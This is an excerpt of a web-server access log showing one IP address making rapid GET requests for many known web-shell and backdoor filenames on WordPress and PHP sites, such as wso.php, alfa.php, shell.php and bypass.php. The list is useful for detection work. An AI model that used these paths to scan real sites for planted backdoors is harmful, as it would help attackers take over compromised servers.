(KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:26:53 +0300] "GET /wp-includes/js/tinymce/langs/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:26:54 +0300] "GET /autoload_classmap/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:26:54 +0300] "GET /wp-atomx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:26:54 +0300] "GET /admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 192.253.209.164 - - [20/Apr/2026:01:26:55 +0300] "GET /wp-admin/maint/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:26:55 +0300] "GET /XxX.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:55 +0300] "GET /wp-content/plugins/ubh/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 192.253.209.164 - - [20/Apr/2026:01:26:56 +0300] "GET /wp-includes/SimplePie/Registry-private.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:56 +0300] "GET /wp-includes/assets/script-modules-packages.min-meta.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 192.253.209.164 - - [20/Apr/2026:01:26:56 +0300] "GET /wp-includes/widgets/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:26:57 +0300] "GET /wp-content/themes/twentytwentyfour/content-index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 192.253.209.164 - - [20/Apr/2026:01:26:57 +0300] "GET /admin/controller/extension/extension/alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 192.253.209.164 - - [20/Apr/2026:01:26:57 +0300] "GET /wp-content/themes/twentytwentyfour/system_cache.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:26:58 +0300] "GET /wp-admin/css/colors/modern/colors.css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 192.253.209.164 - - [20/Apr/2026:01:26:58 +0300] "GET /wp-includes/style-engine/adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:58 +0300] "GET /css/media-widget-vide02.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:26:59 +0300] "GET /wp-includes/blocks/group/wp-style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 192.253.209.164 - - [20/Apr/2026:01:26:59 +0300] "GET /images/buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:59 +0300] "GET /templates/beez3/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:59 +0300] "GET /wp-includes/widgets/class-wp-wolf-widget.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 192.253.209.164 - - [20/Apr/2026:01:27:00 +0300] "GET /wp-admin/css/colors/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:27:00 +0300] "GET /plugins/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:01 +0300] "GET /.well-known/header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:01 +0300] "GET /wordpress/wp-content/uploads/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:01 +0300] "GET /.well-known/pki-validation/server.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 192.253.209.164 - - [20/Apr/2026:01:27:02 +0300] "GET /autoload_classmap/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:02 +0300] "GET /wp-content/plugins/pwnd/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:27:02 +0300] "GET /wp-content/plugins/ubh/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 192.253.209.164 - - [20/Apr/2026:01:27:02 +0300] "GET /wp-content/uploads/anas.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:03 +0300] "GET /wp-admin/css/colors/blue/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:27:03 +0300] "GET /wp-content/plugins/erinyani/default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:27:04 +0300] "GET /wp-includes/Text/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:04 +0300] "GET /xex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:04 +0300] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:27:05 +0300] "GET /wp-content/plugins/pwnd/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:05 +0300] "GET /upload/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:05 +0300] "GET /wp-head.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:06 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 192.253.209.164 - - [20/Apr/2026:01:27:06 +0300] "GET /wp-content/upgrade/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:06 +0300] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:07 +0300] "GET /wp-includes/wp-sup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 192.253.209.164 - - [20/Apr/2026:01:27:07 +0300] "GET /wordpress/wp-includes/class-wp-http-ixr-client-view.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 192.253.209.164 - - [20/Apr/2026:01:27:07 +0300] "GET /images/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:08 +0300] "GET /wp-includes/widgets/class-t.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 192.253.209.164 - - [20/Apr/2026:01:27:08 +0300] "GET /wp-content/edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:08 +0300] "GET /.well-known/info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:08 +0300] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:09 +0300] "GET /wp-admin/css/colors/blue/navi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 192.253.209.164 - - [20/Apr/2026:01:27:09 +0300] "GET /wp-includes/css/dist/require-dynamic-blocks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 192.253.209.164 - - [20/Apr/2026:01:27:09 +0300] "GET /xp.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:10 +0300] "GET /wp-content/languages/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 192.253.209.164 - - [20/Apr/2026:01:27:10 +0300] "GET /wp-content/bypass_1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:10 +0300] "GET /wp-admin/js/elementskit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:11 +0300] "GET /wp-includes/widgets/class-wp-widget-rss-database.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 192.253.209.164 - - [20/Apr/2026:01:27:11 +0300] "GET /.well-known/pki-validation/kur.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:11 +0300] "GET /click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 192.253.209.164 - - [20/Apr/2026:01:27:12 +0300] "GET /wp-includes/class-wp-customize-manager-client.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:27:12 +0300] "GET /wp-includes/assets/script-modules-packages.min-boolean.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 192.253.209.164 - - [20/Apr/2026:01:27:12 +0300] "GET /wp-admin/css/colors/error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:13 +0300] "GET /ALFA_DATA/alfacgiapi/all.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:13 +0300] "GET /wp-admin/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:13 +0300] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 192.253.209.164 - - [20/Apr/2026:01:27:14 +0300] "GET /wp-admin/maint/repairs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 192.253.209.164 - - [20/Apr/2026:01:27:14 +0300] "GET /wp-includes/images/smilies/simi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 192.253.209.164 - - [20/Apr/2026:01:27:14 +0300] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:15 +0300] "GET /wp-header.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 192.253.209.164 - - [20/Apr/2026:01:27:15 +0300] "GET /file.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:15 +0300] "GET /.tmb/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:16 +0300] "GET /wp-editor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 192.253.209.164 - - [20/Apr/2026:01:27:16 +0300] "GET /wp-includes/style-engine-session.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 192.253.209.164 - - [20/Apr/2026:01:27:16 +0300] "GET /images/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:17 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/adminfusm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:17 +0300] "GET /adminfusm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 192.253.209.164 - - [20/Apr/2026:01:27:17 +0300] "GET /js/js1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 192.253.209.164 - - [20/Apr/2026:01:27:17 +0300] "GET /wp-includes/assets/wp-includes/assets/script-loader-packages.min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:18 +0300] "GET /wp-includes/blocks/file/wp-style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:27:18 +0300] "GET /wp-content/mu-plugins/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:18 +0300] "GET /wp-includes/IXR/class-IXR-cilent.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:27:19 +0300] "GET /wp-content/uploads/wp-cert.phtml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:19 +0300] "GET /about/function.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:19 +0300] "GET /wp-includes/images/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 192.253.209.164 - - [20/Apr/2026:01:27:20 +0300] "GET /wp-includes/PHPMailer/xleet.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:20 +0300] "GET /wp-admin/js/widgets/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 192.253.209.164 - - [20/Apr/2026:01:27:20 +0300] "GET /f35_SpaceTn.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:21 +0300] "GET /wp-admin/css/colors/sunrise/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:27:21 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/fixed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:21 +0300] "GET /wp-admin/js/widgets/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:22 +0300] "GET /wp-content/plugins/fix/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:22 +0300] "GET /wp-includes/category-double.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:22 +0300] "GET /wp-admin/maint/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:22 +0300] "GET /blog/signatur.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:23 +0300] "GET /wp-includes/assets/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:23 +0300] "GET /wp-includes/widgets/security.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:23 +0300] "GET /include/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 192.253.209.164 - - [20/Apr/2026:01:27:24 +0300] "GET /gm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:27:24 +0300] "GET /wp-includes/class-wp-language-pack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:24 +0300] "GET /js/content-type.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:25 +0300] "GET /wp-includes/class-walker-comment-client.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:25 +0300] "GET /about/goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:27:25 +0300] "GET /file/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 192.253.209.164 - - [20/Apr/2026:01:27:26 +0300] "GET /function/goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:26 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 192.253.209.164 - - [20/Apr/2026:01:27:26 +0300] "GET /wp-content/upgrade/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 192.253.209.164 - - [20/Apr/2026:01:27:27 +0300] "GET /wp-includes/class-wp-network-query-stat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 192.253.209.164 - - [20/Apr/2026:01:27:27 +0300] "GET /wp-content/themes/pridmag/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:27 +0300] "GET /plugin-install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:27:28 +0300] "GET /wp-includes/class-wp-session-tokens-https.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 192.253.209.164 - - [20/Apr/2026:01:27:28 +0300] "GET /wp-admin/js/load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:28 +0300] "GET /images/firewall.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:29 +0300] "GET /wp-includes/images/crystal/lrs_dage.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:29 +0300] "GET /wp-content/upgrade/pdf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - 